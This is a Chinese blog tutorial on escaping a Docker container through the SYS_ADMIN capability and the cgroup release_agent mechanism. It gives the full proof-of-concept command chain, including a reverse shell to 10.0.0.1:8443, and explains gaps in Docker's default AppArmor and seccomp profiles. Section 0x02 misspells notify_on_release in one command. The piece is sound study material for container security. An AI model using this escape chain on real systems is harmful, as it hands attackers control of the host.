溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Docker SYS_ADMIN容器逃逸原理舉例分析

發(fā)布時間:2021-12-13 11:34:08 來源:億速云 閱讀:357 作者:iii 欄目:安全技術(shù)

本篇內(nèi)容主要講解“Docker SYS_ADMIN容器逃逸原理舉例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學(xué)習(xí)“Docker SYS_ADMIN容器逃逸原理舉例分析”吧!

前言

Docker容器的不安全配置可能導(dǎo)致應(yīng)用存在容器逃逸漏洞。本文將詳細介紹利用SYS_ADMIN Capability進行容器逃逸的原理。

Docker容器不同于虛擬機,它共享宿主機操作系統(tǒng)內(nèi)核。宿主機和容器之間通過內(nèi)核命名空間(namespaces)、內(nèi)核Capabilities、CGroups(control groups)等技術(shù)進行隔離。

Linux內(nèi)核在2.2版本之后,將root權(quán)限細分成了多個被稱為Capability的單元。比如,Docker容器里可能需要把Web server綁定到值小于1024的端口上,這個操作需要的Capability是“CAP_NET_BIND_SERVICE”,如果給執(zhí)行Web server的用戶授予這個Capability,那么在綁定端口的時候,Web server就不需要以root用戶運行了。

在大部分情況下,容器里的進程不需要以“完整”的root用戶運行,Docker給容器內(nèi)root賬號只授予了幾個默認(rèn)的Capabilities,其他的禁用。這意味著容器里的root用戶權(quán)限比宿主機上真正的root用戶權(quán)限要小的多。

而在實際的使用過程中,很多用戶會違背Docker的這些安全防護配置原則。比如為了方便,容器以root用戶啟動,同時為了執(zhí)行一些特權(quán)操作,給root用戶額外授權(quán)一些Capability,例如SYS_ADMIN。

如果一個Docker容器的啟動方式滿足以下條件,攻擊者在容器中就可以逃逸到宿主機上。

  1. 以root用戶的身份在容器內(nèi)運行;

  2. 容器啟用SYS_ADMIN Capability;

  3. 容器沒有啟用Docker默認(rèn)的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall;

其中,條件1和2是必需的,而條件3在某些宿主機上比較容易滿足,比如CentOS等Red Hat系的Linux操作系統(tǒng)上默認(rèn)沒有安裝AppArmor。

例如以下面的命令開啟一個Ubuntu容器:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

其中,”--cap-add=SYS_ADMIN“表示給Docker容器SYS_ADMIN的Capability?!?-security-opt apparmor=unconfined”表示去除Docker默認(rèn)的AppArmor配置。

攻擊者可以在容器內(nèi)通過掛載宿主機cgroup,并利用cgroup notify_on_release的特性在宿主機執(zhí)行shell,從而實現(xiàn)容器逃逸。執(zhí)行步驟如下:

  1. 容器內(nèi)掛載宿主機cgroup,并自定義一個cgroup;

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 配置該cgroup的notify_no_release和release_agent;

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

這里使用了sh tcp的反彈shell來逃逸容器,也可以執(zhí)行其他任意linux shell命令。

  1. 觸發(fā)release_agent執(zhí)行。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

下面詳細說明一下各個步驟的操作和原理。

0x01 掛載宿主機cgroup

漏洞利用第一步是掛載宿主機的memory cgroup。

cgroup(control group、控制群組)是 Linux kernel一項進行資源分配(如 CPU 時間、系統(tǒng)內(nèi)存、網(wǎng)絡(luò)帶寬或者這些資源的組合)的功能。使用mount -t cgroup命令可以查看宿主機當(dāng)前的cgroup。

Docker SYS_ADMIN容器逃逸原理舉例分析

進到要掛載的memory cgroup里。

Docker SYS_ADMIN容器逃逸原理舉例分析

該文件夾包含了系統(tǒng)管理員對memory資源的配置,其中docker文件夾里包含了docker針對容器memory資源的默認(rèn)cgroup配置。

0x011 容器cgroup

默認(rèn)情況下,容器在啟動時會在/sys/fs/cgroup目錄各個subsystem目錄的docker子目錄里,生成以容器 ID 為名字的子目錄

查看宿主機里的memory cgroup目錄,可以看到docker目錄里多了一個目錄9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,這一串字符是容器ID,這個目錄里的內(nèi)容就是用戶在容器里查看/sys/fs/cgroup/memory的內(nèi)容。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x012 mount系統(tǒng)調(diào)用

mount命令是一個系統(tǒng)調(diào)用(syscall)命令,系統(tǒng)調(diào)用號為165。執(zhí)行syscall需要用戶具備CAP_SYS_ADMIN的Capability。

如果在宿主機啟動時,添加了--cap-add SYS_ADMIN參數(shù),那root用戶就能在容器內(nèi)部就能執(zhí)行mount掛載cgroup。(docker默認(rèn)情況下不會開啟SYS_ADMIN Capability)

0x013 容器內(nèi)掛載cgroup

漏洞利用的第一步是在容器里創(chuàng)建一個臨時目錄/tmp/cgrp,并使用mount命令將系統(tǒng)默認(rèn)的memory類型的cgroup重新掛載到/tmp/cgrp上。

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

其中,-t參數(shù)表示mount的類別為cgroup,-o表示掛載的選項。對于cgroup,掛載選項就是cgroup的subsystem,每個subsystem代表一種資源類型,比如cpu、memory。具體可以參考鏈接:cgroup subsystems。

執(zhí)行該命令之后,宿主機的memory cgroup被掛載到了容器中,對應(yīng)目錄/tmp/cgrp。

Docker SYS_ADMIN容器逃逸原理舉例分析

需要注意的是,對cgroup進行重新掛載的操作時,只有當(dāng)被掛載目標(biāo)的hierarchy為空時才能成功。因此,如果這里memory的重新掛載不成功的話,可以換其他的subsystem。

接著就是在這個cgroup類型里建一個子目錄x。

mkdir /tmp/cgrp/x

查看/tmp/cgrp/x可以發(fā)現(xiàn)有很多和memory相關(guān)的配置。

Docker SYS_ADMIN容器逃逸原理舉例分析

接下來將使用x來作為POC操作的主要目標(biāo)。

0x02 notify_no_release

漏洞利用的第二步和notify_no_release有關(guān)。cgroup的每一個subsystem都有參數(shù)notify_on_release,這個參數(shù)值是Boolean型,1或0。分別可以啟動和禁用釋放代理的指令。如果notify_on_release啟用,當(dāng)cgroup不再包含任何任務(wù)時(即,cgroup的tasks文件里的PID為空時),系統(tǒng)內(nèi)核會執(zhí)行release_agent參數(shù)指定的文件里的內(nèi)容。

需要注意的是release_agent文件并不在/tmp/cgrp/x目錄里,而是在memory cgroup的根目錄/tmp/cgrp里。這樣的設(shè)計可以用來自動移除根cgroup里所有空的cgroup。

將/tmp/cgrp/x的notify_no_release屬性設(shè)置為1。

echo 1 > /tmp/cgrp/x/notify_no_release

接著將release_agent指定為容器在宿主機上的cmd文件。具體操作是先獲取docker容器在宿主機上的存儲路徑。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

文件/etc/mtab存儲了容器中實際掛載的文件系統(tǒng)。

Docker SYS_ADMIN容器逃逸原理舉例分析

這里使用sed命令匹配perdir=()之間的非逗號內(nèi)容,從上圖可以看出,host_path就是docker的overlay存儲驅(qū)動上的可寫目錄upperdir.

Docker SYS_ADMIN容器逃逸原理舉例分析

在這個目錄里創(chuàng)建一個cmd文件,并把它作為/tmp/cgrp/x/release_agent參數(shù)指定的文件。

echo "$host_path/cmd" > /tmp/cgrp/release_agent

0x03 容器逃逸

接下來,POC將要執(zhí)行的shell寫到cmd文件里,并賦予執(zhí)行權(quán)限。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

最后,POC觸發(fā)宿主機執(zhí)行cmd文件中的shell。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

該命令啟動一個sh進程,將sh進程的PID寫入到/tmp/cgrp/x/cgroup.procs里,這里的\$\$表示sh進程的PID。

在執(zhí)行完sh -c之后,sh進程自動退出,這樣cgroup /tmp/cgrp/x里不再包含任何任務(wù),/tmp/cgrp/release_agent文件里的shell將被操作系統(tǒng)內(nèi)核執(zhí)行。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x04 AppArmor和seccomp

利用SYS_ADMIN權(quán)限逃逸Docker容器的關(guān)鍵在于容器要能夠掛載宿主機的cgroup。為禁止容器執(zhí)行mount syscall,Docker在限制用戶Capabilities的基礎(chǔ)上,會默認(rèn)開啟AppArmor和seccomp這兩個安全防護工具。但關(guān)于這兩個工具的配置,Docker給出的默認(rèn)配置有一些值得注意的“瑕疵”。

0x041 AppArmor

關(guān)于AppArmor,CentOS等Red Hat系的Linux操作系統(tǒng)上默認(rèn)沒有安裝AppArmor。這樣文章開頭提到的漏洞利用條件第3條,“容器必須沒有啟用Docker默認(rèn)的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall”,將很容易滿足,不需要顯式地添加“--security-opt apparmor=unconfined”參數(shù)。

AppArmor(Application Armor)是Linux內(nèi)核的一個安全模塊,AppArmor允許系統(tǒng)管理員將每個程序與一個安全配置文件關(guān)聯(lián),從而限制程序的功能。簡單的說,AppArmor是與SELinux類似的一個訪問控制系統(tǒng),通過它用戶可以指定程序可以讀、寫或運行哪些文件,是否可以打開網(wǎng)絡(luò)端口等。

比如,Docker官網(wǎng)給出了一個Nginx加固的例子。

profile docker-nginx flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  ...

  deny /bin/** wl,
  deny /boot/** wl,
  deny /dev/** wl,
  deny /etc/** wl,
  deny /home/** wl,

  ...

其中,deny /bin/** wl表示阻止/bin目錄下及任意層子目錄下的寫權(quán)限,w:寫,l:創(chuàng)建硬鏈接。

Docker采用的默認(rèn)配置文件是docker-default。它具有適度的保護性,同時提供廣泛的應(yīng)用程序兼容性。查看該配置文件生成模板,可以發(fā)現(xiàn)在第43行配置了禁止容器調(diào)用mount。

...

  deny mount,

  deny /sys/[^f]*/** wklx,
  deny /sys/f[^s]*/** wklx,
  deny /sys/fs/[^c]*/** wklx,
  deny /sys/fs/c[^g]*/** wklx,
  deny /sys/fs/cg[^r]*/** wklx,

  ...

這里也可以發(fā)現(xiàn),該配置文件并沒有禁止對/sys/fs/cgroup目錄的讀寫。如果在實際利用過程中,發(fā)現(xiàn)容器里無法讀寫cgroup目錄,可以檢查容器是否在AppArmor配置里禁止了對cgroup目錄的讀寫。

Docker默認(rèn)情況下使用docker-default策略啟動容器。此時,即使使用SYS_ADMIN Capbility運行該容器,它也會阻止容器執(zhí)行mount系統(tǒng)調(diào)用。除非在容器啟動時用參數(shù)--security-opt apparmor=unconfined覆蓋配置。

雖然Docker默認(rèn)的AppArmor配置能很好地阻止容器調(diào)用mount,但并不是所有的宿主機都支持AppArmor。對于Debian系的linux,比如Ubuntu,默認(rèn)安裝了AppArmor和SeLinux。而對于Red hat系的linux,比如CentOS,默認(rèn)使用SeLinux,沒有安裝AppArmor。這就導(dǎo)致在Red hat系linux宿主機上,有可能不需要容器啟用--security-opt apparmor=unconfined參數(shù)也能執(zhí)行mount系統(tǒng)調(diào)用。在某個CentOS測試機上進行測試,結(jié)果如下:

Docker SYS_ADMIN容器逃逸原理舉例分析

查看docker info,可以發(fā)現(xiàn)安全選項“Security Options”里沒有開啟AppArmor,只開啟了seccomp。因此,在僅添加“--cap-add=SYS_ADMIN”參數(shù)的情況下CentOS宿主機仍然能成功執(zhí)行POC。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x042 seccomp

在上一節(jié)的docker info輸出中,可以看到Docker也會有一個默認(rèn)的seccomp配置。那為什么seccomp沒有能阻止容器調(diào)用mount?

這得從Docker默認(rèn)的seccomp配置說起,在配置模板里,關(guān)于mount的配置從第600行開始。

{
			"names": [
				"bpf",
				"clone",
				"fanotify_init",
				"fsconfig",
				"fsmount",
				"fsopen",
				"fspick",
				"lookup_dcookie",
				"mount",
				"move_mount",
				"name_to_handle_at",
				"open_tree",
				"perf_event_open",
				"quotactl",
				"setdomainname",
				"sethostname",
				"setns",
				"syslog",
				"umount",
				"umount2",
				"unshare"
			],
			"action": "SCMP_ACT_ALLOW",
			"args": [],
			"comment": "",
			"includes": {
				"caps": [
					"CAP_SYS_ADMIN"
				]
			},
			"excludes": {}
		},

可以看到,Docker seccomp默認(rèn)配置僅依靠SYS_ADMIN來限制執(zhí)行mount系統(tǒng)調(diào)用。如果容器啟動時使用了“--cap-add=SYS_ADMIN”參數(shù),那么seccomp就不能很好地防護容器了。

到此,相信大家對“Docker SYS_ADMIN容器逃逸原理舉例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進入相關(guān)頻道進行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI